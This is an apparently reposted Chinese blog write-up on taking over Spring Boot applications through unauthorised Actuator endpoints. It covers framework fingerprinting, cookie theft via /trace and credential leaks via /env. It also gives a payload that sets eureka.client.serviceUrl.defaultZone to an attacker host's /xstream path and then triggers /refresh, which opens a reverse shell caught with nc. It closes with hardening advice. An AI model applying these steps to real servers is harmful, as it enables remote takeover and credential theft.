Spring Boot Actuator从未授权访问到getshell的示例分析


这篇文章主要为大家分析了Spring Boot Actuator从未授权访问到getshell的示例分析的相关知识点,内容详细易懂,操作细节合理,具有一定参考价值。如果感兴趣的话,不妨跟着跟随小编一起来看看,下面跟着小编一起深入学习“Spring Boot Actuator从未授权访问到getshell的示例分析”的知识吧。部门大佬在某src上挖到了这个漏洞,是一个比较老的洞了,我觉得有点意思,就动手在本地搭了个环境测试一下。Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。如上所示,actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:利用env加refresh进行getshell
利用mappings,寻找未授权接口
利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口。
env有可能泄露的数据库账号密码(mangodb),当然得开放外网,可能性较小。
老外说可以执行sql语句,目前没搞明白
通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:
通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):访问一个随便构造的路径,比如:http:/172.26.2.24:8090/index,出现如下报错页面说明web网站使用了springboot框架(在实际中遇到的大多数都是此类情况)。
综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据免费云主机域名库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的,/env端点配置不当造成RCE,前置条件:Eureka-Client
比如测试前台json报错泄露包名就是使用netflix需要以下两个包spring-boot-starter-actuator(/refresh刷新配置需要)spring-cloud-starter-netflix-eureka-client(功能依赖)利用python3启动脚本,需要注意两个地方,一个为接收shell的ip和端口,另一个为我们脚本启动的端口,Nc监听一个端口用以接收反弹shell,写入配置,访问/env端点,抓包将get请求改为post请求,post内容为(该ip为脚本启动的机器的ip):eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream然后再访问/refresh,抓包将get请求更改为post请求,post数据随意,然后在我们nc的窗口可以看到成功反弹了一个shell回来。作为一名安全dog,不能只挖不修,在项目的pom.xml文件下引入spring-boot-starter-security依赖然后在application.properties中开启security功能,配置访问账号密码,重启应用即可弹出。禁用接口,则可设置如下(如禁用env接口):endpoints.env.enabled= false老外说可以执行sql语句发现执行不了,可能方法没用对,截了个他的图,希望有执行成功的大佬分享下。实际环境中,发现很多无refresh ,导致无法执行命令目前还没突破关于“Spring Boot Actuator从未授权访问到getshell的示例分析”就介绍到这了,更多相关内容可以搜索云编程开发博客以前的文章,希望能够帮助大家答疑解惑,请多多支持云编程开发博客网站!

相关推荐: 数字证书学习笔记

Pki公共密钥基础结构,加密方法标准应用:例:https://加密技术:对称加密:加密密钥与解密密钥是同一个密钥(key),不适合在网络中使用,因为密钥必须由加密方发给解密方,有可能被截获。密钥维护量大,因为任意两个通讯对象都需要一个密钥。N*(n-1)/2优…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

Like (0)
Donate 微信扫一扫 微信扫一扫
Previous 02/07 10:17
Next 02/07 10:17